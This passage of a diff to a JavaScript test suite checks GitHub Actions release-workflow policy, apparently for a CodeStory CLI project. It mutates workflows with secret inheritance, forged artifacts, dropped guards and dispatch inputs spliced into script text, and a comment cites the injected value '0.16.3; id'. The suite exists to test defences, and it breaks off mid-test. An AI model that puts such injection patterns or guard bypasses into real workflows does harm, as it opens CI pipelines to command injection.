packagedFile, workflow => { - draftStep(workflow.jobs.build, "Smoke codestory-cli on Windows").run - = '$bin = "target/codestory-cli.exe"'; - }, /Smoke codestory-cli on Windows/u], - ["packaged Windows asset ignores short target", packagedFile, workflow => { - draftStep(workflow.jobs.build, "Package release asset on Windows").run - = 'python .github/scripts/package-codestory-release.py --binary "target/codestory-cli.exe"'; - }, /Package release asset on Windows/u], - ["packaged Windows asset reroutes the short-target binary", packagedFile, workflow => { - const step = draftStep(workflow.jobs.build, "Package release asset on Windows"); - step.run = step.run.replace("--binary $bin", "--binary target/wrong.exe"); - }, /Package release asset on Windows/u], - ["protected generator removed", protectedFile, workflow => { - delete protectedBuild(workflow).env.CMAKE_GENERATOR; - }, /source package build must use the Ninja native generator/u], - ["protected generator changed", protectedFile, workflow => { - protectedBuild(workflow).env.CMAKE_GENERATOR = "Visual Studio 18 2026"; - }, /source package build must use the Ninja native generator/u], - ["protected build adds a second generator surface", protectedFile, workflow => { - protectedBuild(workflow).env.CMAKE_GENERATOR_PLATFORM = "x64"; - }, /source package build must use the Ninja native generator/u], - ["protected host omits generator selection", protectedFile, workflow => { - protectedSourceTools(workflow).run = protectedSourceTools(workflow).run - .replace(/.*CMAKE_GENERATOR=Ninja.*\n/u, ""); - }, /Capture source build tool evidence/u], - ["protected host omits CMake version", protectedFile, workflow => { - protectedSourceTools(workflow).run = protectedSourceTools(workflow).run - .replace(/.*cmake --version.*\n/u, ""); - }, /Capture source build tool evidence/u], - ["protected host omits Ninja version", protectedFile, workflow => { - protectedSourceTools(workflow).run = protectedSourceTools(workflow).run - .replace(/.*ninja --version.*\n/u, ""); - }, /Capture source build tool evidence/u], - ["protected source evidence made unconditional", protectedFile, workflow => { - delete protectedSourceTools(workflow).if; - }, /source build tool evidence must remain source-only/u], - ["protected source evidence guard inverted", protectedFile, workflow => { - protectedSourceTools(workflow).if = "inputs.use_packaged_cli_artifact"; - }, /source build tool evidence must remain source-only/u], - ["protected source evidence made optional", protectedFile, workflow => { - protectedSourceTools(workflow)["continue-on-error"] = true; - }, /source build tool evidence must remain source-only/u], - ["protected host requires PowerShell 7", protectedFile, workflow => { - protectedHost(workflow).shell = "pwsh"; - }, /must use built-in Windows PowerShell/u], - ["protected Python action drifts", protectedFile, workflow => { - protectedPython(workflow).uses = "actions/setup-python@v6"; - }, /must use actions\/setup-python@v7\.0\.0/u], - ["protected Python version drifts", protectedFile, workflow => { - protectedPython(workflow).with["python-version"] = "3.14"; - }, /must pin Python 3\.13/u], - ["protected Python process policy is removed", protectedFile, workflow => { - delete protectedPython(workflow).env; - }, /must pin Python 3\.13 with process-scoped script policy/u], - ["protected Python process policy drifts", protectedFile, workflow => { - protectedPython(workflow).env.PSExecutionPolicyPreference = "RemoteSigned"; - }, /must pin Python 3\.13 with process-scoped script policy/u], - ["protected Python becomes conditional", protectedFile, workflow => { - protectedPython(workflow).if = "false"; - }, /must pin Python 3\.13 with process-scoped script policy/u], - ["protected Python becomes optional", protectedFile, workflow => { - protectedPython(workflow)["continue-on-error"] = true; - }, /must pin Python 3\.13 with process-scoped script policy/u], - ["protected Python moves after host scripts", protectedFile, workflow => { - const steps = workflow.jobs["packaged-vulkan"].steps; - const pythonIndex = steps.findIndex(step => step.name === "Install pinned Python"); - const [python] = steps.splice(pythonIndex, 1); - steps.push(python); - }, /pinned Python must run immediately after checkout/u], - ]; +test("PR package proof cannot opt into signing credentials", () => { + const workflow = { jobs: { "packaged-proof": { with: { sign_macos: false } } } }; + assert.deepEqual(packagedPrSigningViolations(workflow), []); - for (const [name, file, mutate, expectedReason] of mutations) { - await t.test(name, () => { - const workflows = loadWorkflows(); - mutate(workflows.get(file)); - const violations = validateWorkflows(workflows); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), expectedReason); - }); + for (const mutate of [ + candidate => { candidate.jobs["packaged-proof"].with.sign_macos = true; }, + candidate => { candidate.jobs["packaged-proof"].secrets = "inherit"; }, + candidate => { candidate.jobs["packaged-proof"].environment = "macos-release-signing"; }, + candidate => { candidate.env = { APPLE_NOTARY_KEY_ID: "forbidden" }; }, + ]) { + const candidate = structuredClone(workflow); + mutate(candidate); + assert.notDeepEqual(packagedPrSigningViolations(candidate), []); } }); -test("protected candidate installs prove accelerated server behavior without CPU fallback", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); +test("release approval crosses only the protected release boundary", () => { + const boundary = releaseEvidenceApprovalBoundary(); + assert.deepEqual(releaseEvidenceApprovalViolations(boundary.callers, boundary.called), []); - const platforms = [ - { - file: "macos-metal-proof.yml", - job: "packaged-metal", - proof: "Prove candidate-installed macOS Metal runtime", - backend: "Metal", + for (const mutate of [ + candidate => { candidate.callers[0][1] = undefined; }, + candidate => { candidate.callers[1][1].uses = "./.github/workflows/release.yml"; }, + candidate => { delete candidate.callers[1][1].with.source_run_id; }, + candidate => { delete candidate.callers[0][1].secrets; }, + candidate => { + candidate.callers[0][1].secrets.CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON + = "${{ secrets.WRONG_SECRET }}"; }, - { - file: "windows-vulkan-proof.yml", - job: "packaged-vulkan", - proof: "Prove candidate-installed Windows Vulkan runtime", - backend: "Vulkan", + candidate => { candidate.callers[0][1].secrets.EXTRA_SECRET = "${{ secrets.EXTRA }}"; }, + candidate => { candidate.callers[0][1].secrets = "inherit"; }, + candidate => { candidate.callers[1][1].secrets = "inherit"; }, + candidate => { delete candidate.called.on.workflow_call.secrets; }, + candidate => { + candidate.called.on.workflow_call.secrets + .CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON.required = true; }, - { - file: "linux-vulkan-proof.yml", - job: "packaged-vulkan", - proof: "Prove candidate-installed Linux Vulkan runtime", - backend: "Vulkan", + candidate => { candidate.called.jobs.measure.environment = "release"; }, + candidate => { + candidate.called.jobs.measure.steps[0].env.APPROVAL_JSON + = "${{ inputs.CODESTORY_RELEASE_EVIDENCE_APPROVAL_JSON }}"; }, - ]; - - for (const platform of platforms) { - const mutations = [ - ["CPU fallback enabled", step => { - step.env.CODESTORY_EMBED_ALLOW_CPU = "1"; - }], - ["accelerated engine policy removed", step => { - step.run = step.run.replace("--engine-policy accelerated", "--engine-policy cpu_explicit"); - }], - ["accelerator backend replaced by CPU", step => { - step.run = step.run.replace(`--expected-backend ${platform.backend}`, "--expected-backend CPU"); - }], - ["server behavior reduced to a ground-only probe", step => { - step.run = step.run.replace("--server-behavior-only", "--ground-only"); - }], - ["installed provenance removed", step => { - step.run = step.run.replace("--installed-plugin-attestation", "--installed-plugin-provenance"); - }], - ["calibration is smuggled into the standard candidate proof", step => { - step.run += "\n--calibration-bundle forged.json"; - }], - ]; - - for (const [name, mutate] of mutations) { - await t.test(`${platform.file}: ${name}`, () => { - const workflows = loadWorkflows(); - const workflow = workflows.get(platform.file); - mutate(draftStep(workflow.jobs[platform.job], platform.proof)); - const violations = validateWorkflows(workflows); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), new RegExp( - `${platform.file.replaceAll(".", "\\.")}|${platform.proof}`, - "u", - )); - }); - } + candidate => { candidate.called.jobs.measure.steps[0].run = "exit 1"; }, + ]) { + const candidate = structuredClone(boundary); + mutate(candidate); + assert.notDeepEqual(releaseEvidenceApprovalViolations(candidate.callers, candidate.called), []); } }); -test("protected macOS package download is resumable and container-verified", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); +test("notarization must use explicit polling", () => { + assert.deepEqual(notaryStepViolations({ run: "xcrun notarytool submit bundle.zip \\\n --no-wait" }), []); + assert.match( + notaryStepViolations({ run: "xcrun notarytool submit bundle.zip \\\n --wait" }).join("\n"), + /poll explicitly/u, + ); +}); - const file = "macos-metal-proof.yml"; - const mutations = [ - ["resume removed", step => { - step.run = step.run.replace("--continue-at -", "--remote-name"); - }, /Download packaged CLI artifact/u], - ["container digest bypassed", step => { - step.run = step.run.replace( - 'test "$actual_digest" = "${expected_digest#sha256:}"', - "true", - ); - }, /Download packaged CLI artifact/u], - ["producer SHA binding removed", step => { - step.run = step.run.replace(".workflow_run.head_sha == $sha", "true"); - }, /Download packaged CLI artifact/u], - ]; +test("bare macOS CLI proof uses quarantine execution instead of app assessment", () => { + const assessment = { + run: [ + "xattr -w com.apple.quarantine quarantine codestory-cli", + "xattr -p com.apple.quarantine codestory-cli > quarantine.txt", + "spctl --assess --type execute --verbose=4 codestory-cli > spctl-diagnostic.txt 2>&1", + "spctl_status=$?", + "grep -F 'does not seem to be an app' spctl-diagnostic.txt", + ].join("\n"), + }; + const execution = { run: "codestory-cli --version\ncodestory-cli --help" }; + assert.deepEqual(macosCliDistributionViolations(assessment, execution, "codestory-cli"), []); - for (const [name, mutate, expectedReason] of mutations) { - await t.test(name, () => { - const workflows = loadWorkflows(); - const step = draftStep( - workflows.get(file).jobs["packaged-metal"], - "Download packaged CLI artifact", - ); - mutate(step); - const violations = validateWorkflows(workflows); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), expectedReason); - }); + for (const mutate of [ + candidate => { candidate.assessment.run = candidate.assessment.run.replace("xattr -w com.apple.quarantine quarantine codestory-cli", "true"); }, + candidate => { candidate.assessment.run += "\naccepted=false"; }, + candidate => { candidate.assessment.run = candidate.assessment.run.replace("spctl_status=$?", "true"); }, + candidate => { candidate.execution.run = "original-cli --version\noriginal-cli --help"; }, + ]) { + const candidate = { assessment: structuredClone(assessment), execution: structuredClone(execution) }; + mutate(candidate); + assert.notDeepEqual(macosCliDistributionViolations(candidate.assessment, candidate.execution, "codestory-cli"), []); } }); -test("post-publish proof uses an immutable real Codex marketplace install", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); - - const file = "post-publish-release-smoke.yml"; - const installStep = workflow => workflow.jobs.smoke.steps.find( - ({ name }) => name === "Resolve the published plugin through the marketplace catalog", - ); - const proofStep = workflow => workflow.jobs.smoke.steps.find( - ({ name }) => name === "Prove the catalog-resolved published runtime", - ); - const mutations = [ - ["Codex CLI pin drifts", workflow => { - workflow.env.CODEX_CLI_VERSION = "latest"; - }, /pin the Codex CLI/u], - ["marketplace revision becomes mutable", workflow => { - installStep(workflow).run = installStep(workflow).run - .replace('--marketplace-revision "$marketplace_revision"', "--marketplace-revision main"); - }, /Resolve the published plugin through the marketplace catalog/u], - ["marketplace revision is resolved again after publication", workflow => { - installStep(workflow).run += "\ngit ls-remote origin refs/heads/main"; - }, /must not fabricate installation with git ls-remote/u], - ["checked-out package binding is removed", workflow => { - installStep(workflow).run = installStep(workflow).run - .replace( - '--source-repository "$GITHUB_WORKSPACE"', - '--source-commit "$GITHUB_SHA"', - ); - }, /Resolve the published plugin through the marketplace catalog/u], - ["real installer helper is bypassed", workflow => { - installStep(workflow).run = installStep(workflow).run - .replace( - "install-codestory-marketplace-proof.mjs", - "copy-codestory-marketplace-proof.mjs", - ); - }, /Resolve the published plugin through the marketplace catalog/u], - ["source archive is substituted for installation", workflow => { - installStep(workflow).run += "\ngit archive HEAD:plugins/codestory"; - }, /must not fabricate installation with git archive/u], - ["single v2 attestation is removed", workflow => { - proofStep(workflow).run = proofStep(workflow).run - .replace("--installed-plugin-attestation", "--installed-plugin-provenance"); - }, /installed runtime proof must run --installed-plugin-attestation/u], - ]; - - for (const [name, mutate, expectedReason] of mutations) { - await t.test(name, () => { +test("controlled semantic workflow fixtures emit class-prefixed diagnostics", async (t) => { + const fixture = JSON.parse(readFileSync(path.join( + root, + ".github/scripts/fixtures/workflow-policy-invalid.json", + ), "utf8")); + assert.deepEqual(releaseWorkflowContractViolations(loadWorkflows()), []); + for (const fixtureCase of fixture.cases) { + await t.test(fixtureCase.id, () => { const workflows = loadWorkflows(); - mutate(workflows.get(file)); - const violations = validateWorkflows(workflows); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), expectedReason); + const workflow = workflows.get(fixtureCase.workflow); + let target = fixtureCase.job ? workflow.jobs[fixtureCase.job] : workflow; + if (fixtureCase.step) { + target = target.steps.find(({ name }) => name === fixtureCase.step); + assert.ok(target, `missing step ${fixtureCase.step}`); + } + const field = [...fixtureCase.field]; + const key = field.pop(); + for (const segment of field) target = target[segment]; + if (fixtureCase.op === "delete") delete target[key]; + else target[key] = structuredClone(fixtureCase.value); + const violations = releaseWorkflowContractViolations(workflows); + assert.ok( + violations.some((message) => message.startsWith(fixtureCase.class_prefix)), + violations.join("\n"), + ); }); } }); -test("post-publish proof keeps every release asset on its protected accelerator", async (t) => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); - - const file = "post-publish-release-smoke.yml"; - const proof = workflow => draftStep( - workflow.jobs.smoke, - "Prove the catalog-resolved published runtime", - ); - const installStep = workflow => draftStep( - workflow.jobs.smoke, - "Resolve the published plugin through the marketplace catalog", - ); - const row = (workflow, assetTarget) => { - const match = workflow.jobs.smoke.strategy.matrix.include.find( - ({ asset_target: candidate }) => candidate === assetTarget, - ); - assert.ok(match, `missing ${assetTarget} post-publish row`); - return match; - }; +test("release policy rejects manifest producer, trusted-map, and publication bypasses", () => { const mutations = [ - ["Windows moves to a hosted runner", workflow => { - row(workflow, "windows-x64").runs_on = '["windows-latest"]'; + ["call expected head", workflows => { delete workflows.get("release.yml").on.workflow_call.inputs.expected_head_sha; }], + ["call publication default", workflows => { workflows.get("release.yml").on.workflow_call.inputs.publish_release.default = true; }], + ["manual expected head", workflows => { workflows.get("release.yml").on.workflow_dispatch.inputs.expected_head_sha.required = false; }], + ["manual publication authority", workflows => { + workflows.get("release.yml").on.workflow_dispatch.inputs.publish_release = { + required: false, + type: "boolean", + default: false, + }; + }], + ["release authority guard", workflows => { + const step = workflows.get("release.yml").jobs.preflight.steps + .find(({ name }) => name === "Validate release authority"); + step.run = step.run.replace("dev/codestory-next moved from proved head", "dev head changed"); + }], + ["automatic caller event", workflows => { + const step = workflows.get("release.yml").jobs.preflight.steps + .find(({ name }) => name === "Validate release authority"); + step.run = step.run.replace('"$GITHUB_EVENT_NAME" != "push"', '"$GITHUB_EVENT_NAME" != "workflow_call"'); + }], + ["accepted dev ledger revalidation", workflows => { + workflows.get("release.yml").jobs["pre-publish-closeout"].steps = workflows + .get("release.yml").jobs["pre-publish-closeout"].steps + .filter(({ name }) => name !== "Revalidate proof-only dev head"); + }], + ["publish-time main revalidation", workflows => { + const step = workflows.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Create GitHub release"); + step.run = step.run.replace("main moved from publishable head", "main changed"); + }], + ["publish authority", workflows => { delete workflows.get("release.yml").jobs.publish.if; }], + ["post-publish smoke authority", workflows => { delete workflows.get("release.yml").jobs["post-publish-smoke"].if; }], + ["post-publish closeout authority", workflows => { delete workflows.get("release.yml").jobs["post-publish-closeout"].if; }], + ["trusted caller opt-in", workflows => { delete workflows.get("auto-release.yml").jobs.release.with.publish_release; }], + ["trusted caller secret handoff", workflows => { delete workflows.get("auto-release.yml").jobs.release.secrets; }], + ["duplicate automatic policy gate", workflows => { + workflows.get("auto-release.yml").jobs["workflow-policy"] = { + "runs-on": "ubuntu-latest", + steps: [], + }; + }], + ["duplicate automatic version validation", workflows => { + workflows.get("auto-release.yml").jobs["detect-version"].steps.push({ + name: "Validate synchronized release version", + run: "python .github/scripts/check-codestory-release.py --version 0.16.0", + }); + }], + ["manual release source permissions", workflows => { delete workflows.get("release.yml").permissions["pull-requests"]; }], + ["automatic release source permissions", workflows => { delete workflows.get("auto-release.yml").jobs.release.permissions["pull-requests"]; }], + ["rogue release caller", workflows => { + workflows.get("plugin-static.yml").jobs["rogue-release"] = { + uses: "./.github/workflows/release.yml", + }; + }], + ["source emission", workflows => { + draftStep( + workflows.get("source-proof.yml").jobs["full-source-gate"], + "Upload authenticated source release cell", + ).if = "success() && inputs.emit_release_cells"; + }], + ["full rerun preflight guard", workflows => { + workflows.get("release.yml").jobs.preflight.steps = workflows + .get("release.yml").jobs.preflight.steps + .filter(({ name }) => name !== "Refuse existing tag or release"); + }], + ["public marketplace preflight", workflows => { + workflows.get("release.yml").jobs.preflight.steps = workflows + .get("release.yml").jobs.preflight.steps + .filter(({ name }) => name !== "Prove the public marketplace install path"); + }], + ["post-publish marketplace revision handoff", workflows => { + workflows.get("release.yml").jobs["post-publish-smoke"].with.marketplace_revision = "main"; + }], + ["publish replay guard", workflows => { + const step = workflows.get("release.yml").jobs.publish.steps + .find(({ name }) => name === "Refuse existing tag or release"); + step.run = step.run.replaceAll("exit 1", "true"); + }], + ["publish bypass", workflows => { + workflows.get("release.yml").jobs.publish.needs = [ + "preflight", + "packaged-proof", + "macos-metal-proof", + "windows-vulkan-proof", + ]; + }], + ["trusted producer map", workflows => { + const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps + .find(({ name }) => name === "Evaluate authenticated pre-publish closeout"); + step.run = step.run.replace("--trusted-producers", "--self-attested-producers"); + }], + ["flattened current-run JSON", workflows => { + const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps + .find(({ name }) => name === "Download selected pre-publish release cells"); + delete step.with["artifact-ids"]; + step.with.pattern = "release-cell-prepublish-*"; + step.with["merge-multiple"] = true; + }], + ["container digest warning accepted", workflows => { + const step = workflows.get("release.yml").jobs["pre-publish-closeout"].steps + .find(({ name }) => name === "Verify selected pre-publish artifact container digests"); + step.run = step.run.replace( + 'test "$actual_digest" = "$expected_digest"', + 'echo "$actual_digest $expected_digest"', + ); + }], + ["attempt-free artifact", workflows => { + const step = workflows.get("source-proof.yml").jobs["full-source-gate"].steps + .find(({ name }) => name === "Upload authenticated source release cell"); + step.with.name = "release-cell-prepublish-source"; + }], + ["rerun-unsafe diagnostic artifact", workflows => { + const step = workflows.get("post-publish-release-smoke.yml").jobs.smoke.steps + .find(({ name }) => name === "Upload post-publish proof artifacts"); + step.with.name = "post-publish-proof-fixed"; }], - ["macOS loses its protected environment", workflow => { - row(workflow, "macos-arm64").environment = ""; + ["rerun-unsafe stable artifact", workflows => { + const step = workflows.get("packaged-platform-proof.yml").jobs.build.steps + .find(({ name }) => name === "Upload release asset"); + delete step.with.overwrite; }], - ["Linux backend falls back to CPU", workflow => { - row(workflow, "linux-x64").backend = "CPU"; + ["overwriteable terminal evidence", workflows => { + const step = workflows.get("linux-vulkan-proof.yml") + .jobs["optional-constant-calibration"].steps + .find(({ name }) => name === "Upload optional Linux Vulkan calibration evidence"); + step.with.name = "optional-embedding-calibration-linux-vulkan-${{ inputs.version }}"; + step.with.overwrite = true; }], - ["matrix starts cancelling sibling platform proof", workflow => { - workflow.jobs.smoke.strategy["fail-fast"] = true; + ["attempt-qualified duplicate stable key", workflows => { + const steps = workflows.get("macos-metal-proof.yml").jobs["packaged-metal"].steps; + const index = steps.findIndex(({ name }) => name === "Upload Metal calibration runs"); + steps.splice(index + 1, 0, { + name: "Upload Metal calibration runs", + uses: "actions/upload-artifact@v7.0.1", + with: { + name: "diagnostic-attempt-${{ github.run_attempt }}", + path: "forged.json", + "retention-days": 30, + }, + }); }], - ["published runtime enables CPU fallback", workflow => { - proof(workflow).env.CODESTORY_EMBED_ALLOW_CPU = "1"; + ["rogue artifact producer", workflows => { + workflows.get("release.yml").jobs["pre-publish-closeout"].steps.push({ + name: "Upload forged release cell", + uses: "actions/upload-artifact@v7.0.1", + with: { + name: "release-cell-prepublish-source-attempt-${{ github.run_attempt }}", + path: "forged.json", + }, + }); }], - ["published runtime drops accelerated policy", workflow => { - proof(workflow).run = proof(workflow).run - .replace("--engine-policy accelerated", "--engine-policy cpu_explicit"); + ["pre-publish ledger", workflows => { + const step = workflows.get("release.yml").jobs["post-publish-closeout"].steps + .find(({ name }) => name === "Evaluate authenticated post-publish closeout"); + step.run = step.run.replace("--pre-publish-ledger", "--untrusted-ledger"); }], - ["published runtime drops bounded server behavior", workflow => { - proof(workflow).run = proof(workflow).run - .replace("--server-behavior-only", "--ground-only"); + ["success-only post-publish upload", workflows => { + delete workflows.get("post-publish-release-smoke.yml").jobs.smoke.steps + .find(({ name }) => name === "Upload authenticated post-publish release cells").if; }], - ["published Python loses the protected execution policy", workflow => { - delete draftStep(workflow.jobs.smoke, "Install pinned Python") - .env.PSExecutionPolicyPreference; + ]; + for (const [label, mutate] of mutations) { + const workflows = loadWorkflows(); + mutate(workflows); + assert.notDeepEqual(validateWorkflows(workflows), [], label); + } +}); + +// The gate `publish` sits behind was asserted by a condition that could never fail. The claim +// graph now owns the whole plugin chain, so this suite proves the graph-driven assertion actually +// refuses each way the gate can be dropped -- and, because `needs:` is an unordered set in GitHub +// Actions, that a reordered-but-equivalent gate is *not* reported. +test("plugin publish must actually wait on preflight and plugin proof", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "plugin-release.yml"; + const expected = /plugin-release\.yml publish dependencies must match the release claim graph/u; + const mutations = [ + ["publish drops plugin proof", workflow => { + workflow.jobs.publish.needs = ["preflight"]; }], - ["published Python proof falls back to PowerShell", workflow => { - draftStep(workflow.jobs.smoke, "Prove packaged version, help, and stdio shape").shell - = "powershell"; + ["publish waits on nothing", workflow => { + delete workflow.jobs.publish.needs; }], - ["published marketplace install inherits personal HOME", workflow => { - installStep(workflow).run = installStep(workflow).run - .replace('HOME="$isolated_home" node', "node"); + ["publish waits on a single scalar", workflow => { + workflow.jobs.publish.needs = "preflight"; }], - ["published macOS Python pin drifts", workflow => { - draftStep(workflow.jobs.smoke, "Install pinned Python on macOS").run - = draftStep(workflow.jobs.smoke, "Install pinned Python on macOS").run - .replaceAll("3.13.14", "3.14.6"); + ["publish waits on an unrelated job", workflow => { + workflow.jobs.publish.needs = ["preflight", "post-publish-smoke"]; }], - ["Windows installer loses the protected execution policy", workflow => { - draftStep(workflow.jobs.smoke, "Run Windows installer ownership self-test").shell - = "pwsh"; + ["a scalar needs spells the gate as one string", workflow => { + workflow.jobs.publish.needs = "preflight, plugin-proof"; }], ]; - for (const [name, mutate] of mutations) { await t.test(name, () => { const workflows = loadWorkflows(); mutate(workflows.get(file)); - const violations = validateWorkflows(workflows); - assert.notDeepEqual(violations, []); - assert.match(violations.join("\n"), /post-publish-release-smoke\.yml/u); + assert.match(validateWorkflows(workflows).join("\n"), expected); }); } + await t.test("a reordered gate names the same set and is not a violation", () => { + const workflows = loadWorkflows(); + workflows.get(file).jobs.publish.needs = ["plugin-proof", "preflight"]; + assert.deepEqual(validateWorkflows(workflows), []); + }); }); -test("package workflow keeps a packaging-only timeout", () => { - const workflows = loadWorkflows(); - assert.deepEqual(validateWorkflows(workflows), []); +test("marketplace sync keeps dispatch inputs out of script text", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const file = "marketplace-sync.yml"; + const guard = "Validate the dispatched release coordinates"; + const mutations = [ + ["the untokened check interpolates the commit", workflow => { + const step = draftStep(workflow.jobs.sync, "Require a published release for this commit"); + step.run = step.run.replace('"$INPUT_COMMIT^{commit}"', '"${{ inputs.commit }}^{commit}"'); + }, /steps\.2 must read dispatch inputs from env/u], + ["the tokened publish interpolates the version", workflow => { + const step = draftStep(workflow.jobs.sync, "Point the catalog at the published release"); + step.run = step.run.replace('"$INPUT_VERSION"', '"${{ inputs.version }}"'); + }, /steps\.4 must read dispatch inputs from env/u], + ["a consumed input loses its env binding", workflow => { + delete draftStep(workflow.jobs.sync, "Point the catalog at the published release") + .env.INPUT_COMMIT; + }, /steps\.4 must bind INPUT_COMMIT/u], + ["an env binding is rewired to another value", workflow => { + draftStep(workflow.jobs.sync, guard).env.INPUT_VERSION = "${{ github.ref_name }}"; + }, /steps\.0 must bind INPUT_VERSION/u], + ["the commit shape check disappears", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("^[0-9a-fA-F]{7,40}$", "^.*$"); + }, /must run commit_shape='\^\[0-9a-fA-F\]\{7,40\}\$'/u], + ["the version shape check disappears", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("^[0-9]+\\.[0-9]+\\.[0-9]+", "^.+"); + }, /must run version_shape=/u], + // A prefix fragment cannot see a dropped closing anchor, and an unanchored version regex admits + // `0.16.3; id`. The pinned fragment carries the anchor, so the truncation is a violation. + ["the version regex loses its closing anchor", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("(-[0-9A-Za-z.]+)?$'", "'"); + }, /must run version_shape='\^\[0-9\]\+\\\.\[0-9\]\+\\\.\[0-9\]\+\(-\[0-9A-Za-z\.\]\+\)\?\$'/u], + // Substring assertions prove a string is present, not that it is consulted. This body satisfies + // every fragment above -- both anchored regexes, both comparisons, no grep -- and refuses + // nothing, so only a pin over the whole script can see it. + ["the guard keeps every pinned fragment and stops refusing anything", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replaceAll("exit 1", ":"); + }, /must match the reviewed dispatch coordinate guard script exactly/u], + ["the commit comparison is rewired away from its regex", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace("=~ $commit_shape", "=~ .*"); + }, /must run if \[\[ ! "\$INPUT_COMMIT" =~ \$commit_shape \]\]; then/u], + // grep tests a line, so the whole-value comparison must not be traded back for one. + ["the value comparison reverts to a line-oriented grep", workflow => { + const step = draftStep(workflow.jobs.sync, guard); + step.run = step.run.replace( + 'if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then', + 'if ! printf \'%s\' "$INPUT_VERSION" | grep -Eq "$version_shape"; then', + ); + }, /must not run grep/u], + ["validation moves behind the minted token", workflow => { + moveNamedStepAfter(workflow.jobs.sync, guard, "Mint a scoped marketplace token"); + }, /must validate the dispatched coordinates before any other step/u], + // Validating first only matters if the validated value is what the checkout resolves. + ["the checkout resolves the workflow ref instead of the validated commit", workflow => { + draftStep(workflow.jobs.sync, "Checkout the published commit").with.ref = "${{ github.ref }}"; + }, /Checkout the published commit must resolve the validated \$\{\{ inputs\.commit \}\}/u], + ["the checkout resolves an unvalidated spelling of the same input", workflow => { + draftStep(workflow.jobs.sync, "Checkout the published commit").with.ref = + "${{ github.event.inputs.commit }}"; + }, /Checkout the published commit must resolve the validated \$\{\{ inputs\.commit \}\}/u], + ["a third dispatch input appears", workflow => { + workflow.on.workflow_dispatch.inputs.ref = { required: false, type: "string" }; + }, /must dispatch on exactly a version and a commit/u], + // Pinning `on.workflow_dispatch.inputs` says nothing about a second trigger, and a + // `workflow_call` input is neither validated by the guard nor named by that assertion. + ["a second trigger opens an unvalidated input surface", workflow => { + workflow.on.workflow_call = { inputs: { ref: { required: false, type: "string" } } }; + }, /must be reachable only by manual dispatch/u], + ["the file becomes reachable on push", workflow => { + workflow.on.push = { branches: ["main"] }; + }, /must be reachable only by manual dispatch/u], + // The ban advertises itself as a property of the file. A scan scoped to `jobs.sync` would + // exempt any job added beside it -- fully formed, so nothing else in policy objects either. + ["a second job interpolates the commit into its own script", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ + name: "Echo the dispatched commit", + shell: "bash", + run: 'echo "${{ inputs.commit }}"\n', + }], + }; + }, /jobs\.leak\.steps\.0 must read dispatch inputs from env/u], + ["a second job's step runs under an unpinned shell", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ name: "Do something", run: "echo hello\n" }], + }; + }, /jobs\.leak\.steps\.0 must declare shell: bash/u], + // `continue-on-error` sits outside the script, exactly like `shell:`, so the guard's own text + // cannot assert against it. It leaves the refusal running and simply ignores its exit code. + ["the guard's refusal is downgraded to advice", workflow => { + workflow.jobs.sync.steps[0]["continue-on-error"] = true; + }, /jobs\.sync\.steps\.0 must not declare continue-on-error/u], + ["a whole job downgrades every guard it contains", workflow => { + workflow.jobs.sync["continue-on-error"] = true; + }, /jobs\.sync must not declare continue-on-error/u], + // A `uses:` step is not exempt: an action can evaluate the input it is handed, and + // `actions/github-script` runs its `script:` input as JavaScript. + ["a pinned action evaluates the commit as script text", workflow => { + workflow.jobs.sync.steps.push({ + name: "Report the dispatched commit", + uses: `actions/github-script@${fullSha}`, + with: { script: 'console.log("${{ inputs.commit }}")' }, + }); + }, /jobs\.sync\.steps\.5 must not splice a dispatch input into an action input/u], + ["a pinned action takes the unvalidated spelling of the input", workflow => { + workflow.jobs.sync.steps.push({ + name: "Report the dispatched commit", + uses: `actions/github-script@${fullSha}`, + with: { script: 'console.log("${{ github.event.inputs.commit }}")' }, + }); + }, /jobs\.sync\.steps\.5 must not splice a dispatch input into an action input/u], + // `$NAME` and `${NAME}` are the same read, so a binding assertion that only sees the bare form + // is evaded by writing the brace form and deleting the bindings. + ["a brace-form read loses both of its env bindings", workflow => { + const step = draftStep(workflow.jobs.sync, "Point the catalog at the published release"); + step.run = step.run + .replaceAll('"$INPUT_COMMIT"', '"${INPUT_COMMIT}"') + .replaceAll('"$INPUT_VERSION"', '"${INPUT_VERSION}"'); + delete step.env.INPUT_COMMIT; + delete step.env.INPUT_VERSION; + }, /jobs\.sync\.steps\.4 must bind INPUT_COMMIT/u], + // The other direction: a binding may not name the unvalidated spelling, whether or not the + // step that declares it is the step that reads it. + ["a binding is rewired to the unvalidated spelling but never read", workflow => { + workflow.jobs.sync.steps.push({ + name: "Carry an unvalidated commit", + shell: "bash", + env: { INPUT_COMMIT: "${{ github.event.inputs.commit }}" }, + run: "echo bound\n", + }); + }, /jobs\.sync\.steps\.5 must bind INPUT_COMMIT/u], + // Job-level `env:` is below every step's own binding check, so the unvalidated spelling is + // refused by name wherever it appears rather than only where a step declares it. + ["the unvalidated spelling hides in job-level env", workflow => { + workflow.jobs.sync.env = { CARRIED: "${{ github.event.inputs.commit }}" }; + }, /must name a dispatch input only as \$\{\{ inputs\.commit \}\}/u], + ["the unvalidated spelling hides in a job-level conditional", workflow => { + 